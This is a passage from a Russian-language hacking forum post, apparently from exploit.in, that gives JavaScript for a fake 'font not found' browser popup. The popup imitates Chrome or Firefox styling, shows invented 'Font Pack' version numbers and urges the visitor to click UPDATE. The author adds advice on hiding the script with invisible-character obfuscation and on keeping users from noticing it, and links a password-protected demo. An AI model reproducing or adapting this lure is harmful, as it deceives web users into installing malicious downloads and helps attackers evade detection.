"(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
Построение иерархии DOM-элементов в веб-странице:
Код:
function createWarningWindowElements() {
var outer_warning_wrapper = document.createElement('div');
outer_warning_wrapper.id = "outer_warning_wrapper";
var mask = document.createElement('div');
mask.className = "mask";
var warning_wrapper = document.createElement('div');
warning_wrapper.id = "warning_wrapper";
var el1 = document.createElement('div');
el1.className = "yAVMkd";
el1.classList.add("vk_c");
var close = document.createElement('a');
close.className = "close";
close.innerText = "X";
var manufacturer_logo = document.createElement('img');
manufacturer_logo.id = "manufacturer_logo";
manufacturer_logo.style.float = "right";
manufacturer_logo.style.marginRight = "12px";
var el2 = document.createElement('div');
var KJXbRb = document.createElement('div');
KJXbRb.className = "KJXbRb";
KJXbRb.innerText = "The \"Some font\" font wasn't found";
el2.appendChild(KJXbRb);
var el3 = document.createElement('div');
var warning_text = document.createElement('div');
warning_text.className = "warning_text";
var update_info = document.createElement('div');
update_info.className = "update_info";
var update_info_table = document.createElement('table');
update_info_table.id = 'update_info_table';
var update_info_table_tbody = document.createElement('tbody');
var tr1 = document.createElement('tr');
var td1 = document.createElement('td');
td1.className = "update_info_header";
td1.innerText = "Manufacturer:";
var td2 = document.createElement('td');
td2.id = "manufacturer";
tr1.appendChild(td1);
tr1.appendChild(td2);
var tr2 = document.createElement('tr');
var td3 = document.createElement('td');
td3.className = "update_info_header";
td3.innerText = "Current version:";
var td4 = document.createElement('td');
td4.id = "current_version";
tr2.appendChild(td3);
tr2.appendChild(td4);
var tr3 = document.createElement('tr');
var td5 = document.createElement('td');
td5.className = "update_info_header";
td5.innerText = "Latest version:";
var td6 = document.createElement('td');
td6.id = "latest_version";
tr3.appendChild(td5);
tr3.appendChild(td6);
update_info_table_tbody.appendChild(tr1);
update_info_table_tbody.appendChild(tr2);
update_info_table_tbody.appendChild(tr3);
update_info_table.appendChild(update_info_table_tbody);
update_info.appendChild(update_info_table);
var ZPJnFe = document.createElement('div');
ZPJnFe.className = "ZPJnFe";
var el4 = document.createElement('div');
el4.style.paddingRight = "18px";
var cnsd = document.createElement('g-flat-button');
cnsd.classList.add("FZ2Txe");
cnsd.classList.add("U8shWc");
cnsd.classList.add("Vy8nid");
cnsd.id = "cnsd";
cnsd.style.color = "#4285f4";
cnsd.role = "button";
cnsd.tabindex = 0;
cnsd.innerText = "CANCEL";
var cnsr = document.createElement('g-raised-button');
cnsr.className = "LN7Ux";
cnsr.classList.add("Gfzyee");
cnsr.classList.add("DKlyaf");
cnsr.classList.add("Loxgyb");
cnsr.id += "cnsr";
cnsr.role = "button";
cnsr.tabindex = 0;
var form_submit = document.createElement('div');
form_submit.className = "form_submit";
var MnJuPb = document.createElement('span');
MnJuPb.className = "MnJuPb";
MnJuPb.innerText = "UPDATE";
form_submit.appendChild(MnJuPb);
cnsr.appendChild(form_submit);
el4.appendChild(cnsd);
el4.appendChild(cnsr);
ZPJnFe.appendChild(el4);
el3.appendChild(warning_text);
el3.appendChild(update_info);
el3.appendChild(ZPJnFe);
el1.appendChild(close);
el1.appendChild(manufacturer_logo);
el1.appendChild(el2);
el1.appendChild(el3);
warning_wrapper.appendChild(el1);
outer_warning_wrapper.appendChild(mask);
outer_warning_wrapper.appendChild(warning_wrapper);
document.getElementsByTagName("body")[0].appendChild(outer_warning_wrapper);
}
Заполнение таблицы версий браузера:
Код:
function fillUpdateInfoTable() {
var manufacturer_name = "";
if(jscd.browser == "Chrome")
manufacturer_name = "Google Inc.";
else if(jscd.browser == "Firefox")
manufacturer_name = "Mozilla Corp."
document.getElementById("manufacturer").innerText = manufacturer_name;
document.getElementsByClassName("warning_text")[0].innerText = "The web page you are trying to load is displayed incorrectly, as it uses the \"Some font\" font. To fix the error and display the text you have to update the \"" + jscd.browser + " Font Pack\"."
document.getElementById("current_version").innerText =
window.jscd.browser + " Font Pack ";
addStrongText(document.getElementById("current_version"), window.jscd.browserVersion);
var browserVersionParts = window.jscd.browserVersion.split(".");
var latestVersion_p1 = parseInt(browserVersionParts[0]) + Math.floor((Math.random() * 2) + 1);
var latestVersion_p2 = parseInt(browserVersionParts[1]) + Math.floor((Math.random() * 3));
var latestVersion_p3 = parseInt(browserVersionParts[2]);
var latestVersion_p4 = parseInt(browserVersionParts[3]);
if(isNaN(latestVersion_p3))
latestVersion_p3 = 0;
latestVersion_p3 += Math.floor((Math.random() * 2000) + 1);
if(isNaN(latestVersion_p4))
latestVersion_p4 = 0;
latestVersion_p4 += Math.floor((Math.random() * 80) + 1);
var latestVersionStr = latestVersion_p1 + "." + latestVersion_p2 + "." +
latestVersion_p3 + "." + latestVersion_p4;
document.getElementById("latest_version").innerText = window.jscd.browser + " Font Pack ";
addStrongText(document.getElementById("latest_version"), latestVersionStr);
}
Установка стилей соответствующих браузеров:
Код:
function setChromeDefaultStyles() {
document.getElementsByClassName("vk_c")[0].style.background = "#FFF";
document.getElementsByClassName("vk_c")[0].style.color = "#000";
document.getElementsByClassName("KJXbRb")[0].style.color = "rgba(0, 0, 0, .87)";
// document.getElementById('cnsd').style.display = "block";
document.getElementById("manufacturer_logo").src = "Chrome.png";
document.getElementById("manufacturer_logo").style.width = "130px";
// hover effect begin
document.getElementsByClassName("form_submit")[0].addEventListener("mouseenter", function() {
document.getElementsByClassName("form_submit")[0].style.background = "rgba(0, 0, 0, .1)";
});
document.getElementsByClassName("form_submit")[0].addEventListener("mouseleave", function() {
document.getElementsByClassName("form_submit")[0].style.background = "#4285f4";
})
// hover effect end
// setting bottom border at table
document.getElementById("update_info_table").lastElementChild.lastElementChild.style.borderBottom = "1px solid #BDBDBD";
var tableRows = document.getElementById("update_info_table").lastElementChild.children;
for(var i = 0; i < tableRows.length; i++)
tableRows[i].style.borderTop = "1px solid #BDBDBD";
tableRows[tableRows.length - 1].style.color = "rgb(21, 159, 92)";
}
function setFirefoxDefaultStyles() {
var vk_c = document.getElementsByClassName("vk_c")[0];
vk_c.style.background = "rgba(0,146,213,1)";
vk_c.style.backgroundImage = "-moz-linear-gradient(-45deg, rgba(0,146,213,1) 0%, rgba(10,163,218,1) 84%, rgba(17,154,218,1) 85%, rgba(20,153,220,1) 100%)";
vk_c.style.backgroundImage = "-webkit-gradient(left top, right bottom, color-stop(0%, rgba(0,146,213,1)), color-stop(84%, rgba(10,163,218,1)), color-stop(85%, rgba(17,154,218,1)), color-stop(100%, rgba(20,153,220,1)))";
vk_c.style.backgroundImage = "-webkit-linear-gradient(-45deg, rgba(0,146,213,1) 0%, rgba(10,163,218,1) 84%, rgba(17,154,218,1) 85%, rgba(20,153,220,1) 100%)";
vk_c.style.backgroundImage = "linear-gradient(135deg, rgba(0,146,213,1) 0%, rgba(10,163,218,1) 84%, rgba(17,154,218,1) 85%, rgba(20,153,220,1) 100%)";
vk_c.style.filter = "progid:DXImageTransform.Microsoft.gradient( startColorstr='#0092d5', endColorstr='#1499dc', GradientType=1 )";
vk_c.style.color = "rgba(256, 256, 256, .87)";
document.getElementById('cnsd').style.display = "none";
document.getElementById("manufacturer_logo").src = "firefox.png";
document.getElementById("manufacturer_logo").style.width = "40px";
var updateButton = document.getElementsByClassName("form_submit")[0];
var ub_defaultBgColor = "rgb(231, 126, 17)";
updateButton.style.background = ub_defaultBgColor;
updateButton.style.color = "#FFF";
// update button hover effect begin
updateButton.addEventListener("mouseenter", function() {
document.getElementsByClassName("form_submit")[0].style.background = "rgb(214, 115, 16)";
});
updateButton.addEventListener("mouseleave", function() {
document.getElementsByClassName("form_submit")[0].style.background = ub_defaultBgColor;
})
// hover effect end
var tableRows = document.getElementById("update_info_table").lastElementChild.children;
for(var i = 0; i < tableRows.length; i++)
if(i % 2 == 0)
{
tableRows[i].style.background = "rgb(87,187, 55)";
tableRows[i].style.color = "#FFF";
}
else
{
tableRows[i].style.background = "#FFF";
tableRows[i].style.color = "#000";
}
// close button hover effect begin
document.getElementsByClassName("close")[0].addEventListener("mouseenter", function() {
document.getElementsByClassName("close")[0].style.color = "#FFF";
});
document.getElementsByClassName("close")[0].addEventListener("mouseleave", function() {
document.getElementsByClassName("close")[0].style.color = "#000";
})
// hover effect end
}
function setCommonDefaultStyles() {
var yAVMkd = document.getElementsByClassName("yAVMkd")[0];
yAVMkd.style.marginTop = "6px";
yAVMkd.style.marginBottom = "24px";
yAVMkd.style.overflow = "hidden";
var KJXbRb = document.getElementsByClassName("KJXbRb")[0];
KJXbRb.style.display = "table-cell";
KJXbRb.style.verticalAlign = "middle";
KJXbRb.style.color = "rgba(256, 256, 256, .87)";
KJXbRb.style.fontSize = "24px";
KJXbRb.style.lineHeight = "28px";
KJXbRb.style.paddingLeft = "24px";
var ZPJnFe = document.getElementsByClassName("ZPJnFe")[0];
ZPJnFe.style.marginTop = "11px";
ZPJnFe.style.marginLeft = "50px";
ZPJnFe.style.marginRight = "8px";
document.getElementsByClassName("FZ2Txe")[0].style.marginRight = "8px";
var U8shWc = document.getElementsByClassName("U8shWc")[0];
U8shWc.style.backgroundColor = "transparent";
U8shWc.style.border = "none";
U8shWc.style.borderRadius = "2px";
U8shWc.style.boxSizing = "border-box";
U8shWc.style.cursor = "default";
U8shWc.style.display = "inline-block";
U8shWc.style.fontSize = "14px";
U8shWc.style.fontWeight = "500";
U8shWc.style.height = "36px";
U8shWc.style.lineHeight = "16px";
U8shWc.style.padding = "10px 8px";
U8shWc.style.textTransform = "uppercase";
U8shWc.style.margin = "0 4px";
U8shWc.style.minWidth = "88px";
U8shWc.style.outline = "none";
U8shWc.style.position = "relative";
U8shWc.style.textAlign = "center";
U8shWc.style.textDecoration = "none !important";
U8shWc.style["-webkit-user-select"] = "none";
U8shWc.style.whiteSpace = "nowrap";
var Vy8nid = document.getElementsByClassName("Vy8nid")[0];
// Vy8nid.style.color = "rgba(0, 0, 0, .87)";
// hover effect begin
Vy8nid.addEventListener("mouseenter", function() {
document.getElementsByClassName("Vy8nid")[0].style.background = "rgba(153, 153, 153, .2)";
});
Vy8nid.addEventListener("mouseleave", function() {
document.getElementsByClassName("Vy8nid")[0].style.background = "transparent";
});
Vy8nid.addEventListener("focus", function() {
document.getElementsByClassName("Vy8nid")[0].style.background = "rgba(153, 153, 153, .2)";
});
Vy8nid.addEventListener("focus", function() {
document.getElementsByClassName("Vy8nid")[0].style.background = "rgba(153, 153, 153, .2)";
});
// hover effect end
document.getElementsByClassName("MnJuPb")[0].style.padding = "0 4px";
document.getElementsByClassName("LN7Ux")[0].style.marginLeft = "0px";
var g_raised_buttons = document.getElementsByTagName("g-raised-button");
for(var i = 0; i < g_raised_buttons.length; i++){
g_raised_buttons[i].style.display = "inline-block";
g_raised_buttons[i].style.margin = "0 4px";
g_raised_buttons[i].style.position = "relative";
}
var Gfzyee = document.getElementsByClassName("Gfzyee")[0];
Gfzyee.style.boxSizing = "border-box";
Gfzyee.style.cursor = "default";
Gfzyee.style.fontSize = "14px";
Gfzyee.style.fontWeight = "500";
Gfzyee.style.minWidth = "88px";
Gfzyee.style.outline = "none";
Gfzyee.style.textAlign = "center";
Gfzyee.style.transition = "box-shadow 200ms cubic-bezier(0.4, 0, 0.2, 1)";
Gfzyee.style["-webkit-user-select"] = "none";
Gfzyee.style.whiteSpace = "nowrap";
Gfzyee.style.border = "0";
Gfzyee.style.borderRadius = "2px";
Gfzyee.style.boxShadow = "0 1px 1px rgba(0, 0, 0, .16)";
Gfzyee.style.lineHeight = "16px";
Gfzyee.style.textTransform = "uppercase";
var form_submit = document.getElementsByClassName("form_submit")[0];
form_submit.style.borderRadius = "2px";
form_submit.style.outline = "none";
form_submit.style.padding = "10px 8px";
form_submit.style.zIndex = 9999;
document.getElementsByClassName("DKlyaf")[0].style.background = "#4285f4";
document.getElementsByClassName("Loxgyb")[0].style.color = "#FFF";
var vk_c = document.getElementsByClassName("vk_c")[0];
vk_c.style.boxShadow = "0 2px 2px 0 rgba(0,0,0,0.16), 0 0 0 1px rgba(0,0,0,0.08)";
vk_c.style.border = "1px";
vk_c.style.borderRadius = "2px";
vk_c.style.display = "block";
vk_c.style.position = "fixed";
vk_c.style.padding = "20px 16px 24px 16px";
vk_c.style.zIndex = 9999;
vk_c.style.width = "800px";
var close = document.getElementsByClassName("close")[0];
close.style.cursor = "default";
close.style.display = "block";
close.style.float = "right";
close.style.fontSize = "18px";
close.style.lineheight = "1";
close.style.color = "#000";
close.style.textShadow = "0 1px 0 #fff";
close.style.opacity = ".2";
close.style.marginTop = "-8px";
close.style.marginRight = "-4px";
close.style.textDecoration = "none";
// hover effect begin
close.addEventListener("mouseenter", function() {
document.getElementsByClassName("close")[0].style.opacity = "1";
});
close.addEventListener("mouseleave", function() {
document.getElementsByClassName("close")[0].style.opacity = "0.2";
});
// hover effect end
var mask = document.getElementsByClassName("mask")[0];
mask.style.backgroundColor = "#000";
mask.style.height = "10000px";
mask.style.left = "0";
mask.style.position = "fixed";
mask.style.top = "0";
mask.style.width = "100%";
mask.style.display = "block";
mask.style.zIndex = 9998;
mask.style["-ms-filter"] = "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)";
mask.style.filter = "alpha(opacity=60)";
mask.style["-moz-opacity"] = 0.6;
mask.style["-khtml-opacity"] = 0.6;
mask.style.opacity = 0.6;
var warning_wrapper = document.getElementById("warning_wrapper");
warning_wrapper.style.textAlign = "right";
warning_wrapper.style.position = "absolute";
warning_wrapper.style.top = 0;
var manufacturer_logo = document.getElementById("manufacturer_logo");
warning_wrapper.style.float = "right";
warning_wrapper.style.marginRight = "12px";
warning_wrapper.style.marginLeft = "20px";
var warning_text = document.getElementsByClassName("warning_text")[0];
warning_text.style.padding = "15px 24px";
warning_text.style.paddingBottom = 0;
warning_text.style.textAlign = "left";
warning_text.style.lineHeight = 1.24;
warning_text.style.fontSize = "small";
warning_text.style.fontFamily = "arial,sans-serif";
var update_info = document.getElementsByClassName("update_info")[0];
update_info.style.marginTop = "15px";
update_info.style.marginBottom = "15px";
update_info.style.marginLeft = "24px";
update_info.style.marginRight = "24px";
update_info.style.float = "left";
update_info.style.fontSize = "small";
var update_info_tbody = update_info.lastElementChild.lastElementChild;
update_info_tbody.style.background = "#F5F5F5";
update_info_tbody.style.textAlign = "left";
var update_info_tbody_rows = update_info_tbody.children;
for(var i=0; i < update_info_tbody_rows.length; i++) {
update_info_tbody_rows[i].style.display = "block";
var tds = update_info_tbody_rows[i].children;
for(var j = 0; j < tds.length; j++){
tds[j].paddingTop = "3px";
tds[j].paddingRight = "2px";
}
}
}
function setBrowsedDefaultStyle() {
setCommonDefaultStyles();
if(window.jscd.browser == "Chrome")
setChromeDefaultStyles();
else if(window.jscd.browser == "Firefox")
setFirefoxDefaultStyles();
}
Помимо обфускации, я бы посоветовал ещё обфусцировать скрипт "невидимыми" символами (т.е. пробелы и табы). Для этого советую воспользоваться js-invisible-obfuscator.
Ещё совет: скрипт палится из-за того, что он выполняется после отображения символов в браузере. То есть пользователь может успеть заметить что сначала всё было нормально, а потом в один момент "шрифты слетели". Опытный user обязательно что-то заподозрит. Готов ответить на любые Ваши вопросы (в пределах данной темы) и интересно было бы обсудить идеи по поводу выполнения скрипта до отображения страницы в браузере.
Демо-версия скрипта: https://www.sendspace.com/file/pyl1pu
Пароль: KS93m2*2m)sMw*0#m18J^nwckI2_a&2n98]syKwU25dcsL
АВТОР MrRabbit
источник exploit.in